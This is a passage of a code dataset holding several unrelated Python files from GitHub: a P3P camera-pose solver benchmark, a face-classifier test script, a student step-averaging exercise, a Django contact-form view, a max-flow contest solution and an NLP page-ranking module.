truth.\n\n Args:\n case (list): list of names of the toolboxes\n\n Returns:\n None\n \"\"\"\n\n cams = scipy.io.loadmat(fileCamsPath, struct_as_record=False, squeeze_me=True)['cams']\n data = scipy.io.loadmat(fileLadioPath, struct_as_record=False, squeeze_me=True)['data']\n\n sol = {}\n times = {}\n relax = {}\n resErr = {}\n resCDist = {}\n resRAngle = {}\n resErrAll = {}\n resTimes = {}\n resRelax = {}\n for c in case:\n d = scipy.io.loadmat('data/app_P3P_sol' + c + '.mat', struct_as_record=False, squeeze_me=True)\n sol[c] = d['sol']\n times[c] = d['times']\n if c not in ['AG']:\n relax[c] = d['relaxOrders']\n resErr[c] = []\n resCDist[c] = []\n resRAngle[c] = []\n resErrAll[c] = []\n if c in ['Mosek', 'Polyopt']:\n resTimes[c] = np.zeros((2, 0))\n else:\n resTimes[c] = np.zeros((1, 0))\n resRelax[c] = []\n errGT = []\n\n camNum = cams.shape[0]\n for cam, k in zip(cams, range(camNum)):\n camId = cam.camId\n print('camId:', camId)\n K = data.K[camId]\n Xid = data.Xid\n inliers = data.inliers[camId].astype(bool)\n uid = data.uid[camId]\n uIdIn = uid[inliers]\n Xidxs = [np.where(Xid == idx)[0][0] for idx in uIdIn]\n X = data.X[:, Xidxs]\n XP = np.vstack((X, np.ones((1, X.shape[1]))))\n uIn = data.u[camId][np.matlib.repmat(inliers, 2, 1)].reshape((2, -1))\n CGT = data.C[camId]\n RGT = data.R[camId]\n\n for c in case:\n n = sol[c].shape[1]\n err = []\n RAll = []\n CAll = []\n for i in range(n):\n x = cam.x[i]\n x1 = x[:, 0][:, np.newaxis]\n x2 = x[:, 1][:, np.newaxis]\n x3 = x[:, 2][:, np.newaxis]\n u = cam.u[i]\n u1 = u[:, 0][:, np.newaxis]\n u2 = u[:, 1][:, np.newaxis]\n u3 = u[:, 2][:, np.newaxis]\n if not np.isnan(sol[c][k, i]).any():\n if (type(sol[c][k, i]) == float) or (type(sol[c][k, i]) == int):\n sol[c][k, i] = [sol[c][k, i]]\n for s in sol[c][k, i]:\n RC = P3PRC(s, K, x1, x2, x3, u1, u2, u3)\n if RC is not None:\n R = RC[0]\n C = RC[1]\n P = np.hstack((K.dot(R), -K.dot(R).dot(C)[:, np.newaxis]))\n uProjP = P.dot(XP)\n uProj = np.vstack((uProjP[0, :]/uProjP[2, :], uProjP[1, :]/uProjP[2, :]))\n e = np.sqrt(np.sum((uProj - uIn)**2, 0))\n err.append(np.max(e))\n RAll.append(R)\n CAll.append(C)\n\n # pick the best cam\n if len(err) == 0:\n resErr[c].append(np.nan)\n resCDist[c].append(np.nan)\n resRAngle[c].append(np.nan)\n else:\n camMin = np.nanargmin(err)\n resErr[c].append(err[camMin])\n resCDist[c].append(np.linalg.norm(CAll[camMin] - CGT))\n acos = (np.trace(np.linalg.solve(RGT, RAll[camMin]))-1)/2\n resRAngle[c].append(np.arccos(1 - np.linalg.norm(acos - 1)))\n resErrAll[c].append(err)\n if c in ['Mosek', 'Polyopt']:\n resTimes[c] = np.hstack((resTimes[c], times[c][k, :].T))\n else:\n resTimes[c] = np.hstack((resTimes[c], times[c][k, np.newaxis]))\n #resTimes[c].extend(times[c][k, :].tolist())\n if c not in ['AG']:\n resRelax[c].extend(relax[c][k, :].tolist())\n\n # compute ground truth\n K = data.K[camId]\n R = data.R[camId]\n C = data.C[camId]\n P = np.hstack((K.dot(R), -K.dot(R).dot(C)[:, np.newaxis]))\n uProjP = P.dot(XP)\n uProj = np.vstack((uProjP[0, :]/uProjP[2, :], uProjP[1, :]/uProjP[2, :]))\n e = np.sqrt(np.sum((uProj - uIn)**2, 0))\n errGT.append(np.max(e))\n\n saveobj = {}\n for c in case:\n saveobj[c] = {'CDist': resCDist[c], 'RAngle': resRAngle[c], 'err': resErr[c], 'errAll': resErrAll[c], 'times': resTimes[c], 'relaxOrders': resRelax[c]}\n saveobj['GT'] = {'err': errGT}\n scipy.io.savemat(fileResultsPath, saveobj)\n\n\n@cli.command()\ndef generateGnuplot(case=['GT', 'AG', 'Polyopt', 'Mosek', 'Gloptipoly']):\n \"\"\"\n Generates data for gnuplot graphs.\n\n Args:\n case (list): list of names of the toolboxes\n\n Reurns:\n None\n \"\"\"\n\n results = scipy.io.loadmat(fileResultsPath, struct_as_record=False, squeeze_me=True)\n\n with open(fileGnuplotErrPath, 'wt') as fErr, open(fileGnuplotCDistPath, 'wt') as fCDist, open(fileGnuplotRAnglePath, 'wt') as fRAngle:\n for cam in range(camSelNum):\n for c in case:\n fErr.write('{} '.format(np.log10(results[c].err[cam])))\n if c is not 'GT':\n fCDist.write('{} '.format(np.log10(results[c].CDist[cam])))\n if np.isnan(results[c].RAngle[cam]):\n fRAngle.write('0 ')\n else:\n fRAngle.write('{} '.format(np.log10(results[c].RAngle[cam])))\n fErr.write('\\n')\n fCDist.write('\\n')\n fRAngle.write('\\n')\n with open(fileGnuplotTimesPath, 'wt') as fTimes:\n print(results['AG'].times.shape)\n for i in range(results['AG'].times.shape[0]):\n fTimes.write('{} '.format(np.log10(results['AG'].times[i])))\n fTimes.write('{} '.format(np.log10(results['Polyopt'].times[0, i])))\n fTimes.write('{} '.format(np.log10(results['Polyopt'].times[1, i])))\n fTimes.write('{} '.format(np.log10(results['Mosek'].times[0, i])))\n fTimes.write('{} '.format(np.log10(results['Mosek'].times[1, i])))\n fTimes.write('{} '.format(np.log10(results['Gloptipoly'].times[i])))\n fTimes.write('\\n')\n with open(fileGnuplotRelaxPath, 'wt') as fRelax:\n for i in range(results['Polyopt'].relaxOrders.shape[0]):\n for c in [d for d in case if d not in ['GT', 'AG']]:\n fRelax.write('{} '.format(results[c].relaxOrders[i]))\n fRelax.write('\\n')\n\n\n\n@cli.command()\ndef generateTable(case=['AG', 'Polyopt', 'Mosek', 'Gloptipoly']):\n \"\"\"\n Exports table of numbers of real solution into LaTeX.\n\n Args:\n case (list): list of names of the toolboxes\n\n Returns:\n None\n \"\"\"\n\n results = scipy.io.loadmat(fileResultsPath, struct_as_record=False, squeeze_me=True)\n cams = scipy.io.loadmat(fileCamsPath, struct_as_record=False, squeeze_me=True)['cams']\n\n solCNum = cams.shape[0]*cams[0].a.shape[0]*4\n\n solNums = {}\n for c in case:\n solNums[c] = sum(np.vectorize(lambda x: x.shape[0])(results[c].errAll))\n\n # export to LaTeX\n with open('tables/app_P3P_numberSolutions.tex', 'wt') as fTable:\n fTable.write('\\\\begin{tabular}{|c||r|r|}\\n')\n fTable.write(' \\\\hline\\n')\n fTable.write(' \\\\textbf{Polynomial} & \\\\multicolumn{1}{c|}{\\\\textbf{Number of found}} & \\\\multicolumn{1}{c|}{\\\\textbf{Percent of found}}\\\\\\\\\\n')\n fTable.write(' \\\\textbf{solver} & \\\\multicolumn{1}{c|}{\\\\textbf{real solutions}} & \\\\multicolumn{1}{c|}{\\\\textbf{real solutions}}\\\\\\\\\\n')\n fTable.write(' \\\\hline\\\\hline\\n')\n fTable.write(' Automatic generator \\\\cite{{autogen}} & \\\\num{{{}}} & \\\\num{{{}}} \\%\\\\\\\\\\n'.format(solNums['AG'], solNums['AG']/solNums['AG']*100))\n fTable.write(' Polyopt & \\\\num{{{}}} & \\\\num{{{:#.1f}}} \\%\\\\\\\\\\n'.format(solNums['Polyopt'], solNums['Polyopt']/solNums['AG']*100))\n fTable.write(' MATLAB implementation & \\\\multirow{{2}}{{*}}{{\\\\num{{{}}}}} & \\\\multirow{{2}}{{*}}{{\\\\num{{{:#.1f}}} \\%}}\\\\\\\\\\n'.format(solNums['Mosek'], solNums['Mosek']/solNums['AG']*100))\n fTable.write(' with MOSEK \\\\cite{{mosek}} & & \\\\\\\\\\n')\n fTable.write(' Gloptipoly \\\\cite{{gloptipoly}} & \\\\num{{{}}} & \\\\num{{{:#.1f}}} \\%\\\\\\\\\\n'.format(solNums['Gloptipoly'], solNums['Gloptipoly']/solNums['AG']*100))\n fTable.write(' \\\\hline\\n')\n fTable.write('\\\\end{tabular}\\\\\\\\[1em]\\n')\n\n fTable.write('Number of all complex solutions is \\\\num{{{}}}.\\\\\\\\\\n'.format(solCNum))\n fTable.write('Number of all real solutions is \\\\num{{{}}}, which is \\\\num{{{:#.1f}}} \\% of all complex solutions.\\n'.format(solNums['AG'], solNums['AG']/solCNum*100))\n\n with open('tables/pre_P3P_numberSolutions.tex', 'wt') as fTable:\n fTable.write('\\\\begin{tabular}{|c||r|r|}\\n')\n fTable.write(' \\\\hline\\n')\n fTable.write(' \\\\multirow{2}{*}{\\\\textbf{Implementace}} & \\\\multicolumn{1}{c|}{\\\\textbf{Počet nalezených}} & \\\\multicolumn{1}{c|}{\\\\textbf{Procento nalezených}}\\\\\\\\\\n')\n fTable.write(' & \\\\multicolumn{1}{c|}{\\\\textbf{reálných řešení}} & \\\\multicolumn{1}{c|}{\\\\textbf{reálných řešení}}\\\\\\\\\\n')\n fTable.write(' \\\\hline\\\\hline\\n')\n fTable.write(' Automatický generátor \\\\cite{{AutoGen}} & {} & {} \\%\\\\\\\\\\n'.format(solNums['AG'], solNums['AG']/solNums['AG']*100))\n fTable.write(' Polyopt & {} & {:#.1f} \\%\\\\\\\\\\n'.format(solNums['Polyopt'], solNums['Polyopt']/solNums['AG']*100))\n fTable.write(' Implementace v MATLABu & \\\\multirow{{2}}{{*}}{{{}}} & \\\\multirow{{2}}{{*}}{{{:#.1f} \\%}}\\\\\\\\\\n'.format(solNums['Mosek'], solNums['Mosek']/solNums['AG']*100))\n fTable.write(' s nástrojem MOSEK \\\\cite{{mosek}} & & \\\\\\\\\\n')\n fTable.write(' Gloptipoly \\\\cite{{gloptipoly}} & {} & {:#.1f} \\%\\\\\\\\\\n'.format(solNums['Gloptipoly'], solNums['Gloptipoly']/solNums['AG']*100))\n fTable.write(' \\\\hline\\n')\n fTable.write('\\\\end{tabular}\\n')\n\n\n@cli.command()\ndef solveAG():\n \"\"\"\n Solves thr P3P polynomial using companion matrix and eigenvalues computation.\n\n\n Returns:\n None\n \"\"\"\n\n cams = scipy.io.loadmat(fileCamsPath, struct_as_record=False, squeeze_me=True)['cams']\n n = cams[0].a.shape[0]\n saveobj = np.zeros((cams.shape[0], n), dtype=np.object)\n times = np.zeros((cams.shape[0], n))\n\n for cam, j in zip(cams, range(cams.shape[0])):\n for i in range(n):\n a = cam.a[i]\n timeStart = timeit.default_timer()\n comp = scipy.linalg.companion(a[::-1])\n eigs = np.linalg.eigvals(comp)\n sol = np.real(eigs[np.isreal(eigs)])\n times[j, i] = timeit.default_timer() - timeStart\n saveobj[j, i] = sol\n scipy.io.savemat(fileSolAGPath, {'sol': saveobj, 'times': times})\n\n\n@cli.command()\ndef solvePolyopt():\n \"\"\"\n Solves the P3P polynommial with the Polyopt package.\n\n Returns:\n None\n \"\"\"\n\n import polyopt\n\n cams = scipy.io.loadmat(fileCamsPath, struct_as_record=False, squeeze_me=True)['cams']\n n = cams[0].a.shape[0]\n saveobj = np.zeros((cams.shape[0], n), dtype=np.object)\n times = np.zeros((cams.shape[0], n, 2))\n relaxOrders = np.zeros((cams.shape[0], n))\n\n for cam, j in zip(cams, range(cams.shape[0])):\n print(str(j) + ': ', end='', flush=True)\n for i in range(n):\n a = cam.a[i]\n I = [{(0, ): a[0], (1, ): a[1], (2, ): a[2], (3, ): a[3], (4, ): a[4]}]\n problem = polyopt.PSSolver(I)\n problem.setLoggingLevel(40)\n sol = problem.solve()\n times[j, i, 0] = problem.timeOffline\n times[j, i, 1] = problem.timeOnline\n saveobj[j, i] = sol\n relaxOrders[j, i] = problem.getRelaxOrder()\n print('.', end='', flush=True)\n print('\\n', end='', flush=True)\n scipy.io.savemat(fileSolPolyoptPath, {'sol': saveobj, 'times': times, 'relaxOrders': relaxOrders})\n\n\ndef P3PPol(K, x1, x2, x3, u1, u2, u3):\n \"\"\"\n Coefficients of polynomial for calibrated camera pose estimation.\n \n Args:\n K (array): calibration matrix\n x1, x2, x3 (matrix): 3D points\n u1, u2, u3 (matrix): 2D projections\n\n Returns:\n float, float, float, float, float: coefficients a0, a1, a2, a3, a4 of polynomial\n \"\"\"\n \n # distances\n _, d12, d31, d23, c12, c31, c23 = P3PDist(K, x1, x2, x3, u1, u2, u3)\n\n # polynomial\n a4 = -4*d23**4*d12**2*d31**2*c23**2+d23**8-2*d23**6*d12**2-2*d23**6*d31**2+d23**4*d12**4+2*d23**4*d12**2*d31**2+d23**4*d31**4\n a3 = 8*d23**4*d12**2*d31**2*c12*c23**2+4*d23**6*d12**2*c31*c23-4*d23**4*d12**4*c31*c23+4*d23**4*d12**2*d31**2*c31*c23-4*d23**8*c12+4*d23**6*d12**2*c12+8*d23**6*d31**2*c12-4*d23**4*d12**2*d31**2*c12-4*d23**4*d31**4*c12\n a2 = -8*d23**6*d12**2*c31*c12*c23-8*d23**4*d12**2*d31**2*c31*c12*c23+4*d23**8*c12**2-4*d23**6*d12**2*c31**2-8*d23**6*d31**2*c12**2+4*d23**4*d12**4*c31**2+4*d23**4*d12**4*c23**2-4*d23**4*d12**2*d31**2*c23**2+4*d23**4*d31**4*c12**2+2*d23**8-4*d23**6*d31**2-2*d23**4*d12**4+2*d23**4*d31**4\n a1 = 8*d23**6*d12**2*c31**2*c12+4*d23**6*d12**2*c31*c23-4*d23**4*d12**4*c31*c23+4*d23**4*d12**2*d31**2*c31*c23-4*d23**8*c12-4*d23**6*d12**2*c12+8*d23**6*d31**2*c12+4*d23**4*d12**2*d31**2*c12-4*d23**4*d31**4*c12\n a0 = -4*d23**6*d12**2*c31**2+d23**8-2*d23**4*d12**2*d31**2+2*d23**6*d12**2+d23**4*d31**4+d23**4*d12**4-2*d23**6*d31**2\n\n return (a0, a1, a2, a3, a4)\n\n\ndef P3PRC(sol, K, x1, x2, x3, u1, u2, u3):\n \"\"\"\n Recovers R and C from the solution to the P3P polynomial.\n\n Args:\n sol (float): solution to the P3P polynomial\n K (array): calibration matrix\n x1, x2, x3 (matrix): 3D points\n u1, u2, u3 (matrix): 2D projections\n\n Returns:\n array, array: rotational matrix, camera position\n \"\"\"\n\n # distance threshold\n thr = 1e-9\n\n # distances\n Kinv, d12, d31, d23, c12, c31, c23 = P3PDist(K, x1, x2, x3, u1, u2, u3)\n\n # projective coordinates\n u1 = np.append(u1, 1)\n u2 = np.append(u2, 1)\n u3 = np.append(u3, 1)\n\n n12 = sol\n # recover n1, n2, n3\n m1 = d12**2\n p1 = -2*d12**2*n12*c23\n q1 = d23**2*(1 + n12**2 - 2*n12*c12) - d12**2*n12**2\n m2 = d31**2 - d23**2\n p2 = 2*d23**2*c31 - 2*d31**2*n12*c23\n q2 = d23**2 - d31**2*n12**2\n n13 = (m1*q2 - m2*q1)/(m1*p2 - m2*p1)\n n1 = d12/np.sqrt(1 + n12**2 - 2*n12*c12)\n n2 = n1*n12\n n3 = n1*n13\n N = [n1, n2, n3]\n\n # verify distances\n e = np.array([(np.sqrt(n1**2 + n2**2 - 2*n1*n2*c12) - d12)/d12, (np.sqrt(n1**2 + n3**2 - 2*n1*n3*c31) - d31)/d31, (np.sqrt(n2**2 + n3**2 - 2*n2*n3*c23) - d23)/d23])\n if (abs(e) > thr).all():\n return None\n\n\n # recover R, C\n xgamma = [Kinv.dot(u1), Kinv.dot(u2), Kinv.dot(u3)]\n\n yeps = np.zeros((3, 3))\n for i in range(3):\n yeps[:, i] = N[i]*xgamma[i]/np.linalg.norm(xgamma[i])\n\n zeps = np.zeros((3, 3))\n zeps[:, 1] = yeps[:, 1] - yeps[:, 0]\n zeps[:, 2] = yeps[:, 2] - yeps[:, 0]\n zeps[:, 0] = np.cross(zeps[:, 1], zeps[:, 2])\n\n zdelta = np.zeros((3, 3))\n zdelta[:, 1] = (x2 - x1)[:, 0]\n zdelta[:, 2] = (x3 - x1)[:, 0]\n zdelta[:, 0] = np.cross(zdelta[:, 1], zdelta[:, 2])\n\n R = zeps.dot(np.linalg.inv(zdelta))\n C = x1[:, 0] - R.T.dot(yeps[:, 0])\n return R, C\n\n\ndef P3PDist(K, x1, x2, x3, u1, u2, u3):\n \"\"\"\n Computes the cosines and distances between three points and their projections.\n\n Args:\n K (array): calibration matrix\n x1, x2, x3 (matrix): 3D points\n u1, u2, u3 (matrix): 2D projections\n\n Returns:\n array, float, float, float, float, float, float: inversion of the calibration matrix, three distances between 3D points, three cosines of the angles of the projection rays\n \"\"\"\n\n # projective coordinates\n u1 = np.append(u1, 1)\n u2 = np.append(u2, 1)\n u3 = np.append(u3, 1)\n\n Kinv = np.linalg.inv(K)\n\n # compute distances and cosines\n d12 = np.linalg.norm(x1 - x2)\n d31 = np.linalg.norm(x1 - x3)\n d23 = np.linalg.norm(x2 - x3)\n c12 = u1.T.dot(np.linalg.inv(K.T)).dot(Kinv).dot(u2)/(np.linalg.norm(Kinv.dot(u1))*np.linalg.norm(Kinv.dot(u2)))\n c31 = u1.T.dot(np.linalg.inv(K.T)).dot(Kinv).dot(u3)/(np.linalg.norm(Kinv.dot(u1))*np.linalg.norm(Kinv.dot(u3)))\n c23 = u2.T.dot(np.linalg.inv(K.T)).dot(Kinv).dot(u3)/(np.linalg.norm(Kinv.dot(u2))*np.linalg.norm(Kinv.dot(u3)))\n\n return Kinv, d12, d31, d23, c12, c31, c23\n\n\nif __name__ == '__main__':\n #prepareData()\n #solveAG()\n #solvePolyopt()\n #processData(['AG', 'Polyopt', 'Mosek', 'Gloptipoly'])\n cli()\n","repo_name":"PavelTrutman/SDPinComputerVision","sub_path":"sources/scripts/app_P3P.py","file_name":"app_P3P.py","file_ext":"py","file_size_in_byte":18535,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"29435100202","text":"from facenet_pytorch import InceptionResnetV1, fixed_image_standardization\nimport torch\nfrom torch.utils.data import DataLoader, SubsetRandomSampler\nfrom torch import optim\nfrom torch.optim.lr_scheduler import MultiStepLR\nfrom torchvision import datasets, transforms\nimport numpy as np\nimport os\nimport argparse\nimport tqdm\nfrom utils import accuracy\n\nROOT_DIR = os.path.dirname(os.path.abspath(__file__))\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\ndef test(opt):\n trans = transforms.Compose([\n np.float32,\n transforms.ToTensor(),\n fixed_image_standardization,\n transforms.RandomHorizontalFlip(),\n transforms.RandomVerticalFlip()\n ])\n\n loss_fn = torch.nn.CrossEntropyLoss()\n\n dataset = datasets.ImageFolder(opt.dataset, transform=trans)\n loader = DataLoader(dataset, num_workers=opt.num_workers, batch_size=opt.batch_size)\n classifier = InceptionResnetV1(classify=True, num_classes=len(dataset.class_to_idx)).to(device)\n classifier.load_state_dict(torch.load(opt.model))\n classifier.eval()\n\n iterator = tqdm.tqdm(loader, desc=f\"Loss 0.0 Acc 0.0 F1 0.0 Precision 0.0 Recall 0.0\", dynamic_ncols=True)\n\n loss, acc, f1, precision, recall = .0, .0, .0, .0, .0\n\n for batch, (x, y) in enumerate(iterator):\n x = x.to(device)\n y = y.to(device)\n y_pred = classifier(x)\n\n y, y_pred = y.detach().cpu(), y_pred.detach().cpu()\n\n loss_batch = loss_fn(y_pred, y)\n loss += loss_batch\n acc += accuracy(y_pred, y)\n\n iterator.set_description(f\"Loss {loss / (batch+1) :.3f} Acc {acc / (batch+1) :.3f}\")\n\n\ndef parse():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--model\", type=str, required=True)\n parser.add_argument(\"--batch_size\", type=int, default=16)\n parser.add_argument(\"--num_workers\", type=int, default=8)\n parser.add_argument(\"--dataset\", type=str, default=os.path.join(ROOT_DIR, \"dataset\"))\n\n return parser.parse_args()\n\n\nif __name__ == \"__main__\":\n opt = parse()\n test(opt)","repo_name":"Choi-Seungho/Driver-Face-Identification","sub_path":"classifier_test.py","file_name":"classifier_test.py","file_ext":"py","file_size_in_byte":2056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71185592146","text":"# A program that will read the numbers in steps.txt\r\n# then provide the average per the month of the year.\r\n\r\ndef main():\r\n # Open the file\r\n step_file = open('steps.txt', 'r')\r\n\r\n for days in range(1, 32):\r\n daily_total = step_file.readline()\r\n monthly_total = 0\r\n monthly_total += int(daily_total)\r\n month_avg_jan = monthly_total/31\r\n\r\n for days in range(1, 29):\r\n daily_total = step_file.readline()\r\n monthly_total = 0\r\n monthly_total += int(daily_total)\r\n month_avg_feb = monthly_total/31\r\n\r\n # Close the file\r\n step_file.close()\r\n\r\n print(\"The average for January is \", format(month_avg_jan, '.2f'))\r\n print(\"The average for February is \", format(month_avg_feb, '.2f'))\r\n\r\n# Call main function\r\nmain()\r\n","repo_name":"Zamio77/School-Projects","sub_path":"LamarDougM06_Ch6Ex12-2.py","file_name":"LamarDougM06_Ch6Ex12-2.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39554011333","text":"from django.shortcuts import render\nfrom .forms import ContactForm\nfrom django.core.mail import send_mail\n\nfrom django.core.mail import send_mail\n\ndef contact_view(request):\n if request.method == 'POST':\n form = ContactForm(request.POST)\n if form.is_valid():\n # Save the form data to the database\n form.save()\n\n # Extract data from the form\n email = form.cleaned_data['email']\n subject = form.cleaned_data['subject']\n message = form.cleaned_data['message']\n\n # Send email to you (or your support team)\n send_mail(\n subject=f\"Contact message from {email}: {subject}\",\n message=message,\n from_email=email,\n recipient_list=['naraxa4790@wisnick.com'], # Replace with your email\n )\n\n # Send a thank you email to the user\n send_mail(\n subject=\"Thank You for Your Query\",\n message=\"Thank you for your query. We will endeavor to contact you regarding your questions as soon as possible.\",\n from_email=\"wink.com\",\n recipient_list=[email],\n )\n\n return render(request, 'contact/success.html')\n else:\n form = ContactForm()\n\n context = {'form': form}\n return render(request, 'contact/contact.html', context)\n\n","repo_name":"caninereason/wink","sub_path":"contact/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73896983187","text":"'''\nCreated on Jul 17, 2013\n@author: Yubin Bai\n'''\nimport time\nfrom multiprocessing.pool import Pool\nfrom math import sqrt, ceil, hypot\nfrom collections import deque\nfrom EdmondsKarp import edmondsKarp\nparallelSolve = False\nINF = 1 << 31\n\n\ndef solve(par):\n def dist(p1, p2):\n return hypot(p1[0] - p2[0], p1[1] - p2[1])\n\n def valid(length):\n size = len(red) + len(blue) + 2\n source = size - 2\n target = size - 1\n graph = []\n for i in range(size):\n row = {}\n for j in range(size):\n row[j] = 0\n graph.append(row)\n for i in range(len(red)):\n graph[source][i] = 1\n for i in range(len(red), size - 2):\n graph[i][target] = 1\n for i, r in enumerate(red):\n for j, b in enumerate(blue):\n if dist(r, b) <= length:\n graph[i][j + len(red)] = 1\n max_flow = edmondsKarp(graph, source, target)\n return max_flow >= K\n\n P, K, red, blue = par\n if len(red) < K or len(blue) < K:\n return 'Impossible'\n low = 1\n high = 2000 * 1.414\n epi = 1E-2\n while low < high - epi:\n mid = (low + high) / 2.0\n if valid(mid):\n high = mid\n else:\n low = mid\n return int(ceil(high))\n\n\nclass Solver:\n\n def getInput(self):\n self.numOfTests = int(self.fIn.readline())\n self.input = []\n for itertest in range(self.numOfTests):\n self.fIn.readline()\n P, K = map(int, self.fIn.readline().split())\n red = []\n blue = []\n for i in range(P):\n row = self.fIn.readline().strip().split()\n if row[2] == 'red':\n red.append(map(int, row[:2]))\n else:\n blue.append(map(int, row[:2]))\n self.input.append((P, K, red, blue))\n\n def __init__(self):\n self.fIn = open('input.txt')\n self.fOut = open('output.txt', 'w')\n self.results = []\n\n def parallel(self):\n self.getInput()\n p = Pool(4)\n millis1 = int(round(time.time() * 1000))\n self.results = p.map(solve, self.input)\n millis2 = int(round(time.time() * 1000))\n print(\"Time in milliseconds: %d \" % (millis2 - millis1))\n self.makeOutput()\n\n def sequential(self):\n self.getInput()\n millis1 = int(round(time.time() * 1000))\n for i in self.input:\n self.results.append(solve(i))\n millis2 = int(round(time.time() * 1000))\n print(\"Time in milliseconds: %d \" % (millis2 - millis1))\n self.makeOutput()\n\n def makeOutput(self):\n for test in range(self.numOfTests):\n self.fOut.write(\"%s\\n\" % self.results[test])\n self.fIn.close()\n self.fOut.close()\n\nif __name__ == '__main__':\n solver = Solver()\n if parallelSolve:\n solver.parallel()\n else:\n solver.sequential()\n","repo_name":"yubinbai/pcuva-problems","sub_path":"UVa 11262 - Weird Fence/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2969,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"48"} +{"seq_id":"37249606692","text":"from analyser import genericstats as stats\nfrom settings import config, db\n\n# Variables\nconfig = config.getConfig()\ndb = db.getDB()\n\n#Takes in URL and returns a ranking score out of\n#100 for that page\n#for paragraph and sentences, accepts pnum and snum\ndef getRankingScore(url, **kwargs):\n pnum = kwargs.get('paraNo', None)\n snum = kwargs.get('sentNo', None)\n \n # print pnum, snum\n \n if pnum != None:\n if snum != None:\n e_type = \"sentence\"\n snum = int(snum)\n pnum = int(pnum)\n else:\n e_type = \"paragraph\"\n pnum = int(pnum)\n else:\n e_type = \"article\"\n \n # print e_type\n \n if e_type == \"paragraph\":\n max_wc = stats.getLargestParagraphWordCount()\n \n ne_words = []\n ee_words = []\n \n analysis = db.analysis.find_one({\"url\":url})\n ne = db.paragraph_named_entities.find_one({\"url\":url, \"paragraph_number\": pnum})\n ee = db.paragraph_event_entities.find_one({\"url\":url, \"paragraph_number\": pnum})\n \n if ne:\n ne_words = ne['words']\n \n if ee:\n ee_words = ee['words']\n \n para_anal = analysis['paragraph_analysis']\n \n for para in para_anal:\n # print para\n if para['paragraph_number'] == pnum:\n in_cnt = para['total_paragraph_indicator_count']\n wc_cnt = para['total_paragraph_word_count']\n # print in_cnt, wc_cnt\n \n ne_cnt = len(ne_words)\n ee_cnt = len(ee_words)\n \n elif e_type == \"sentence\":\n max_wc = stats.getLargestSentenceWordCount()\n \n ne_words = []\n ee_words = []\n \n analysis = db.analysis.find_one({\"url\":url})\n ne = db.paragraph_named_entities.find_one({\"url\":url, \"paragraph_number\": pnum, \"sentence_number\": snum})\n ee = db.paragraph_event_entities.find_one({\"url\":url, \"paragraph_number\": pnum, \"sentence_number\": snum})\n \n if ne:\n ne_words = ne['words']\n \n if ee:\n ee_words = ee['words']\n \n sent_anal = analysis['sentence_analysis']\n \n for sent in sent_anal:\n # print para\n if sent['paragraph_number'] == pnum and sent['sentence_number'] == snum:\n in_cnt = sent['total_sentence_indicator_count']\n wc_cnt = sent['total_sentence_word_count']\n # print in_cnt, wc_cnt\n \n ne_cnt = len(ne_words)\n ee_cnt = len(ee_words)\n \n else:\n max_wc = stats.getLargestArticleWordCount()\n \n ne_words = []\n ee_words = []\n \n analysis = db.analysis.find_one({\"url\":url})\n ne = db.named_entities.find_one({\"url\":url})\n ee = db.event_entities.find_one({\"url\":url})\n \n if ne:\n ne_words = ne['words']\n \n if ee:\n ee_words = ee['words']\n \n in_cnt = analysis['total_indicator_count']\n ne_cnt = len(ne_words)\n ee_cnt = len(ee_words)\n wc_cnt = analysis['total_words']\n \n # print in_cnt, ne_cnt, ee_cnt, wc_cnt, max_wc\n \n score = 0\n \n score += ((100.0 * in_cnt)/wc_cnt)\n score += ((100.0 * ne_cnt)/wc_cnt)\n score += ((100.0 * ee_cnt)/wc_cnt)\n \n \n score += ((100.0 * wc_cnt)/max_wc)\n \n if e_type == \"article\":\n min_wc = config['min_word_count']\n \n if e_type == \"sentence\":\n min_wc = config['sentence_min_word_count']\n \n if e_type == \"paragraph\":\n min_wc = config['paragraph_min_word_count']\n \n if wc_cnt > min_wc:\n score += 100\n \n # print score\n \n return score\n \n#Takes in URL, works out ranking score and returns\n#true if successfully inserted\n#for paragraph and sentences, accepts pnum and snum\ndef insertRankedPage(url, **kwargs):\n pnum = kwargs.get('paraNo', None)\n snum = kwargs.get('sentNo', None)\n \n if pnum != None:\n if snum != None:\n e_type = \"sentence\"\n snum = int(snum)\n else:\n e_type = \"paragraph\"\n pnum = int(pnum)\n else:\n e_type = \"article\"\n \n # print e_type\n \n if e_type == \"paragraph\":\n ranked_results = db.paragraph_ranked_results\n \n doc = ranked_results.find_one({\"url\": url, \"paragraph_number\": pnum })\n if not doc:\n score = getRankingScore(url, paraNo=pnum)\n \n ranked_results.insert_one({\n \"url\": url,\n \"paragraph_number\": pnum,\n \"score\": score\n })\n elif e_type == \"sentence\":\n ranked_results = db.sentence_ranked_results\n \n doc = ranked_results.find_one({\"url\": url, \"paragraph_number\": pnum, \"sentence_number\": snum})\n if not doc:\n score = getRankingScore(url, paraNo=pnum, sentNo=snum)\n \n ranked_results.insert_one({\n \"url\": url,\n \"paragraph_number\": pnum,\n \"sentence_number\": snum,\n \"score\": score\n })\n else:\n ranked_results = db.ranked_results\n \n doc = ranked_results.find_one({\"url\": url})\n if not doc:\n score = getRankingScore(url)\n \n # print \"insert new\"\n try:\n ranked_results.insert_one({\n \"url\": url,\n \"score\": score\n })\n except:\n print(\"Unexpected error:\", sys.exc_info()[0])\n return True\n\n","repo_name":"ash-williams/NLP_MiniProject","sub_path":"ranker/ranker.py","file_name":"ranker.py","file_ext":"py","file_size_in_byte":5632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15369867692","text":"import os\nimport time\nfrom PySide6.QtCore import Signal, QThread\nfrom utils.software_config import SoftwareConfigResources\n\n\nclass LogReaderThread(QThread):\n message = Signal(str)\n\n def run(self) -> None:\n logfile = open(SoftwareConfigResources.getInstance().get_session_log_filename(), 'r')\n newlines = self.follow(logfile)\n for l in newlines:\n self.write(l)\n\n def 